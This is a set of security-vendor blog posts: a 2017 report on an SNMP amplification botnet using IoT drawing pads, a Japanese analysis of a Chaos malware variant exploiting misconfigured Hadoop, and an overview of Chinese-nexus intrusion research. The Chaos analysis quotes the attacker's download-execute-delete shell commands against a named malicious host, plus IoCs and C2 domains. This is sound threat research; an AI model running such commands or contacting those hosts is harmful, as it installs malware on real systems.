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October 29, 2017

New Botnet Utilizes IoT Drawing Pads for Attacks

Discover how a new botnet is utilizing IoT drawing pads for reflection attacks. Stay informed on evolving cyber security threats with Darktrace experts.
Inside the SOC
Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.
Written by
Justin Fier
SVP, Red Team Operations
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29
Oct 2017

Earlier this year, Darktrace detected a new botnet engaged in a large-scale reflection and amplification attack targeting organizations around the world, including several governmental bodies. This attack is more pertinent than ever in light of potentially new, bigger, and more sophisticated IoT hacks, in the likes of the recently reported ‘Reaper Botnet’, we can increasingly expect to see in 2018.

This new type of botnet we detected earlier this year wasn’t using desktop computers to power its attacks – like Srizbi did when it was sending out 60 billion spam emails per day – and its methodology was distinct from Mirai – which uses DRVs and routers to generate DNS DDoS attacks with speeds of up to 1Tbps.

Instead, this new botnet was commandeering an unlikely assortment of devices made up of, among other things, IoT drawing pads. It contained far fewer devices than typical botnets, but through reflection and amplification techniques using SNMP, it was attempting to launch a powerful denial-of-service attack.

The threat began in a familiar fashion. An architectural firm introduced smart drawing into their network pads without alerting the IT team, and their internal security controls had no way of identifying the vulnerable devices. As such, the devices’ user credentials were never changed from the factory defaults.

Those credentials, along with their public string for SNMP authentication, were publicly available on Shodan, which also revealed that the devices had open ports for HTTP, HTTPS, Telnet, and SIP.

Darktrace detected the vulnerability when hundreds of external IP addresses from around the world made several thousand of SNMP connections to the devices over UDP port 161. Over 99 percent of these connections contained at least one “GetBulkRequest”, an SNMP operation used for the retrieval of large amounts of data.

In response to these requests, the devices issued an exponentially larger number of replies via “GetResponse”, some of which contained as many as 397,000 “GetResponse” objects. In 64 cases, the devices uploaded over 1MB of data.

A sample of this SNMP activity as observed by Darktrace’s AI algorithms:

Figure 1: Anomalous SNMP connections – the request and response are presented as two separate SNMP connections, but we can treat them as the same connection.

Normal network activity for these devices involved very occasional use of “GetBulkRequests” and “GetResponses.” Therefore, these spikes in activity were deemed highly anomalous by Darktrace’s AI algorithms, which had built a deep understanding of normal activity for the devices. By detecting the threat in real time, the security team discovered the threat while it was still in its early stages, and Darktrace’s network visibility provided detailed analytics on the incident.

Figure 2: The number of inbound connections on port 161 to one of the devices on port 161 is shown in orange. External data transfer from port 161 are shown in green. Time, top left, is x-axis value at right-hand origin.

The use of SNMP version 2c and “GetBulkRequests” were telltale signs of a reflection and amplification attack, which use scant resources to generate large attacks. All told, 273.2MiB left the devices on port 161.

The external data transfers on port 80 indicated that the attack went even further, as numerous external devices were attempting to access the devices’ HTTP resources, many of which were administrative PHP files.

A sample of resources that external devices attempted to access via HTTP:

/phpMyAdmin-2.11.1.0/scripts/setup.php
/a_remotecontrol.htm
/phpMyAdmin-3.1.2.0-all-languages/scripts/setup.php
/mysqladmin/scripts.setup.php

Figure 3: The total outbound data from port 161 over the reporting period

Finally, Shodan also revealed that the devices were running an accessible SIP server on port 5060. Packet analysis showed that external devices “dialed” the devices and attempted to place a VoIP – strange behavior on the attacker’s part that remains unexplained.

Figure 4: VoIP call attempts via open SIP protocol

The target IP addresses were likely spoofed. By sending hundreds of “GetBulkRequests” from the spoofed IPs of the target networks, the IoT drawing pads were forced to send back more than 100 times the number of “GetResponses.” This is testament to the power of reflection and amplification attacks. It’s unclear what other devices were used in this attack, but even a small number of IoT devices at the architectural firm were able to generate an alarming amount of traffic.

The target IPs belonged to websites owned by entertainment and design companies, and even governmental bodies. By reporting on the anomalous SNMP requests as soon as they began, the firm’s security team was able to take the drawing pads offline before damage was done.

Had the attack succeeded in sabotaging the target networks, the firm could have been subject to legal action. The company revamped their security policies and made strides to secure all the IoT devices on their network to minimize risk of future incidents.

Inside the SOC
Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.
Written by
Justin Fier
SVP, Red Team Operations

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April 7, 2026

ダークトレースは新しいChaosマルウェア亜種によるクラウドの設定ミスのエクスプロイトを発見

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はじめに

敵対者の行動をリアルタイムに観測するため、ダークトレースは“CloudyPots”と呼ばれるグローバルなハニーポットネットワークを運用しています。CloudyPotsは幅広いサービス、プロトコル、クラウドプラットフォームに渡って悪意あるアクティビティを捕捉するように設計されています。こうしたハニーポットはインターネットに接続されているインフラを狙う脅威のテクニック、ツール、マルウェアについて貴重な情報を提供してくれます。

ダークトレースのハニーポット内で標的とされたソフトウェアの一例は、Apacheが開発したオープンソースフレームワークであり、コンピュータクラスタで大規模なデータセットの分散処理を可能にするHadoopです。ダークトレースのハニーポット環境では、攻撃者がサービス上でリモートコードを実行できるよう、Hadoopインスタンスが意図的に誤設定されています。2026年3月に観測されたサンプルにより、ダークトレースはChaosマルウェアに関連する活動を特定し、詳しく調査することができました。

Chaosマルウェアとは?

Lumen社のBlack Lotus Labsで最初に発見されたChaosは、Goベースのマルウェアです[1]。サンプル内の文字列に中国語の文字が含まれていることや、zh-CNロケールのインジケーターが存在することから、中国起源であると推測されています。コードの重複があることから、ChaosはKaijiボットネットの進化形である可能性が高いと見られます。

Chaosはこれまでルーターを標的としており、主にSSHブルートフォース攻撃やルーターソフトウェアの既知のCVE(共通脆弱性識別子)を通じて拡散します。その後感染したデバイスをDDoS(分散型サービス拒否攻撃)ボットネットや、暗号通貨マイニングに使用します。  

Chaosマルウェア侵害についてのダークトレースの視点

攻撃は脅威アクターがHadoop環境上のエンドポイントに対して新しいアプリケーションを作成するリクエストを送信したことから始まりました。

The initial infection being delivered to the unsecured endpoint.
図1:保護されていないエンドポイントへの最初の感染

これは新しいアプリケーションを定義するもので、最初のコマンドをコンテナ内で実行することがam-container-specセクションのコマンドフィールドで指定されています。これによりいくつかのシェルコマンドが起動されます:

  • curl -L -O http://pan.tenire[.]com/down.php/7c49006c2e417f20c732409ead2d6cc0. - ファイルを攻撃者のサーバーからダウンロードします。この例ではChaosエージェントマルウェア実行形式です。
  • chmod 777 7c49006c2e417f20c732409ead2d6cc0. - すべてのユーザーが読み取り、書き込み、マルウェアを実行できる権限を設定します。
  • ./7c49006c2e417f20c732409ead2d6cc0. - マルウェアを実行します。
  • rm -rf 7c49006c2e417f20c732409ead2d6cc0. - 活動の痕跡を消すためにマルウェアファイルをディスクから削除します。

実際には、このアプリケーションが作成されると、攻撃者が定義したバイナリが攻撃者のサーバーからダウンロードされ、システム上で実行され、その後、フォレンジックデータ収集を防ぐために削除されます。ドメイン pan.tenire[.]com は以前、“Operation Silk Lure”と呼ばれる別のキャンペーンで観測されています。これは悪意のある求人応募履歴書を通じて ValleyRATというリモートアクセス型トロイの木馬(RAT)を配布していました。Chaosと同様に、このキャンペーンでは、偽の履歴書自体を含め、攻撃ステージ全体にわたって大量の漢字が使用されていました。このドメインは107[.]189.10.219に解決されます。これは低コストのVPSサービスを提供することで知られるプロバイダー、BuyVMのルクセンブルク拠点でホストされている仮想プライベートサーバー(VPS)です。

アップデートされたChaosマルウェアサンプルの分析

Chaosはこれまでルーターやその他のエッジデバイスを標的としており、Linuxサーバー環境の侵害は比較的新しい方向性です。ダークトレースがこの侵害で観測したサンプルは64ビットのELFバイナリですが、ルーターのハードウェアの大部分は通常ARM、MIPS、またはPowerPCアーキテクチャで動作し、多くは32ビットです。

この攻撃に使用されたマルウェアのサンプルは、以前のバージョンと比べて著しい再構築が行われています。デフォルトの名前空間は“main_chaos”から単に“main”に変更され、またいくつかの関数が再設計されています。これらの変更が行われていますが、systemdを介して確立される永続化メカニズムや、悪意のあるキープアライブスクリプトが/boot/system.pubに保存されるなど、中心的な特徴は維持されています。

The creation of the systemd persistence service.
図2:systemd 永続化サービスの作成

同様に、DDoS攻撃を実行する関数もこれまで通り存在し、以下のプロトコルを標的とするメソッドが含まれています:

  • HTTP
  • TLS
  • TCP
  • UDP
  • WebSocket

ただし、SSHスプレッダーや脆弱性エクスプロイトなどのいくつかの機能は削除されたようです。さらに、以前はKaijiから継承されたと考えられていたいくつかの機能も変更されており、脅威アクターがマルウェアを書き直したか、大幅にリファクタリングしたことを示唆しています。

このマルウェアの新しい機能はSOCKSプロキシです。マルウェアがコマンド&コントロール(C2)サーバーからStartProxyコマンドを受信すると、攻撃者が制御するTCPポートで待ち受けを開始し、SOCKS5プロキシとして動作します。これにより、攻撃者は侵害されたサーバーを経由してトラフィックをルーティングし、それをプロキシとして使用することが可能になります。この機能にはいくつかの利点があります。被害者のインターネット接続から攻撃を開始できるため、活動が攻撃者ではなく被害者から発生しているように見せかけられること、また侵害されたサーバーからのみアクセス可能な内部ネットワークに移動できる点です。

The command processor for StartProxy. Due to endianness, the string is reversed.
図3:StartProxyのコマンドプロセッサ。エンディアン性のため文字列が反転しています

以前、他のDDoSボットネット、たとえばAisuruなどでは、他のサイバー犯罪者にプロキシサービスを提供するためにピボットしているケースがありました。Chaosの開発者はこの傾向に注目し、同様の機能を追加することで収益化のオプションを拡大、自らのボットネットの機能を強化することにより、他の競合するマルウェア運営者から遅れをとらないようにしたものと思われます。

サンプルには埋め込みドメイン、gmserver.osfc[.]org[.]cnが含まれており、C2サーバーのIPを解決するために使用されていました。本稿執筆の時点ではドメインは70[.]39.181.70に解決され、これは地理位置情報が香港にあるNetLabelGlobalが所有するIPです。

過去には、このドメインは154[.]26.209.250にも解決されており、これは専用サーバーレンタルを提供する低コストVPSプロバイダー、Kurun Cloudが所有していました。マルウェアはコマンドの送信および受信にポート65111を使用しますが、どちらのIPも本稿執筆時点ではこのポート上で接続を受け入れている様子はありませんでした。

主なポイント

Chaosは新しいマルウェアではなく、その継続的進化はサイバー犯罪者がボットネットをさらに拡大し機能を強化しようと努力を重ねていることの現れです。過去に報告されているChaosマルウェアにも、すでに幅広いルーターCVEのエクスプロイト機能が含まれていました。そして最近のLinuxクラウドサーバー脆弱性を狙った進化により、このマルウェアの影響範囲はさらに広がります。

したがって、セキュリティチームがCVEへのパッチを行い、クラウド上で展開されているアプリケーションに対して強固なセキュリティ設定を行うことが重要となります。クラウド市場が成長を続ける一方で、使用できるセキュリティツールが追い付かない状況においてこのことは特に重要な意味を持ちます。

AisuruやChaos等のボットネットがプロキシサービスをコア機能に取り入れる最近の変化は、ボットネットが組織とセキュリティチームにもたらすリスクはもはやDoS攻撃だけではないことを意味します。プロキシにより攻撃者はレート制限を回避し痕跡を隠すことができ、より複雑な形のサイバー犯罪が可能になると同時に、防御者にとっては悪意あるキャンペーンを検知しブロックすることが格段に難しくなります。

担当: Nathaniel Bill (Malware Research Engineer)
編集: Ryan Traill (Content Manager)

侵害インジケーター (IoCs)

ae457fc5e07195509f074fe45a6521e7fd9e4cd3cd43e42d10b0222b34f2de7a - Chaos マルウェアハッシュ

182[.]90.229.95 - 攻撃者 IP

pan.tenire[.]com (107[.]189.10.219) - 悪意あるバイナリをホストしているサーバー

gmserver.osfc[.]org[.]cn (70[.]39.181.70, 154[.]26.209.250) - 攻撃者 C2 サーバー

参考資料

[1] - https://blog.lumen.com/chaos-is-a-go-based-swiss-army-knife-of-malware/

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About the author
Nathaniel Bill
Malware Research Engineer

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April 2, 2026

How Chinese-Nexus Cyber Operations Have Evolved – And What It Means For Cyber Risk and Resilience 

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Cybersecurity has traditionally organized risk around incidents, breaches, campaigns, and threat groups. Those elements still matter—but if we fixate on individual incidents, we risk missing the shaping of the entire ecosystem. Nation‑state–aligned operators are increasingly using cyber operations to establish long-term strategic leverage, not just to execute isolated attacks or short‑term objectives.  

Our latest research, Crimson Echo, shifts the lens accordingly. Instead of dissecting campaigns, malware families, or actor labels as discrete events, the threat research team analyzed Chinese‑nexus activity as a continuum of behaviors over time. That broader view reveals how these operators position themselves within environments: quietly, patiently, and persistently—often preparing the ground long before any recognizable “incident” occurs.  

How Chinese-nexus cyber threats have changed over time

Chinese-nexus cyber activity has evolved in four phases over the past two decades. This ranges from early, high-volume operations in the 1990s and early 2000s to more structured, strategically-aligned activity in the 2010s, and now toward highly adaptive, identity-centric intrusions.  

Today’s phase is defined by scale, operational restraint, and persistence. Attackers are establishing access, evaluating its strategic value, and maintaining it over time. This reflects a broader shift: cyber operations are increasingly integrated into long-term economic and geopolitical strategies. Access to digital environments, specifically those tied to critical national infrastructure, supply chains, and advanced technology, has become a form of strategic leverage for the long-term.  

How Darktrace analysts took a behavioral approach to a complex problem

One of the challenges in analyzing nation-state cyber activity is attribution. Traditional approaches often rely on tracking specific threat groups, malware families, or infrastructure. But these change constantly, and in the case of Chinese-nexus operations, they often overlap.

Crimson Echo is the result of a retrospective analysis of three years of anomalous activity observed across the Darktrace fleet between July 2022 and September 2025. Using behavioral detection, threat hunting, open-source intelligence, and a structured attribution framework (the Darktrace Cybersecurity Attribution Framework), the team identified dozens of medium- to high-confidence cases and analyzed them for recurring operational patterns.  

This long-horizon, behavior-centric approach allows Darktrace to identify consistent patterns in how intrusions unfold, reinforcing that behavioral patterns that matter.  

What the data shows

Several clear trends emerged from the analysis:

  • Targeting is concentrated in strategically important sectors. Across the dataset, 88% of intrusions occurred in organizations classified as critical infrastructure, including transportation, critical manufacturing, telecommunications, government, healthcare, and Information Technology (IT) services.  
  • Strategically important Western economies are a primary focus. The US alone accounted for 22.5% of observed cases, and when combined with major European economies including Germany, Italy, Spain and the UK, over half of all intrusions (55%) were concentrated in these regions.  
  • Nearly 63% of intrusions of intrusions began with the exploitation of internet-facing systems, reinforcing the continued risk posed by externally exposed infrastructure.  

Two models of cyber operations

Across the dataset, Chinese-nexus activity followed two operational models.  

The first is best described as “smash and grab.” These are short-horizon intrusions optimized for speed. Attackers move quickly – often exfiltrating data within 48 hours – and prioritize scale over stealth. The median duration of these compromises is around 10 days. It’s clear they are willing to risk detection for short-term gain.  

The second is “low and slow.” These operations were less prevalent in the dataset, but potentially more consequential. Here, attackers prioritize persistence, establishing durable access through identity systems and legitimate administrative tools, so they can maintain access undetected for months or even years. In one notable case, the actor had fully compromised the environment and established persistence, only to resurface in the environment more than 600 days after. The operational pause underscores both the depth of the intrusion and the actor’s long‑term strategic intent. This suggests that cyber access is a strategic asset to preserve and leverage over time, and we observed these attacks most often inin sectors of the high strategic importance.  

It’s important to note that the same operational ecosystem can employ both models concurrently, selecting the appropriate model based on target value, urgency, intended access. The observation of a “smash and grab” model should not be solely interpreted as a failure of tradecraft, but instead an operational choice likely aligned with objectives. Where “low and slow” operations are optimized for patience, smash and grab is optimized for speed; both seemingly are deliberate operational choices, not necessarily indicators of capability.  

Rethinking cyber risk

For many organizations, cyber risk is still framed as a series of discrete events. Something happens, it is detected and contained, and the organization moves on. But persistent access, particularly in deeply interconnected environments that span cloud, identity-based SaaS and agentic systems, and complex supply chain networks, creates a major ongoing exposure risk. Even in the absence of disruption or data theft, that access can provide insight into operations, dependencies, and strategic decision-making. Cyber risk increasingly resembles long-term competitive intelligence.  

This has impact beyond the Security Operations Center. Organizations need to shift how they think about governance, visibility, and resilience, and treat cyber exposure as a structural business risk instead of an incident response challenge.  

What comes next

The goal of this research is to provide a clearer understanding of how these operations work, so defenders can recognize them earlier and respond more effectively. That includes shifting from tracking indicators to understanding behaviors, treating identity providers as critical infrastructure risks, expanding supplier oversight, investing in rapid containment capabilities, and more.  

Learn more about the findings of Darktrace’s latest research, Crimson Echo: Understanding Chinese-nexus Cyber Operations Through Behavioral Analysis, by downloading the full report and summaries for business leaders, CISOs, and SOC analysts here.  

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About the author
Nathaniel Jones
VP, Security & AI Strategy, Field CISO
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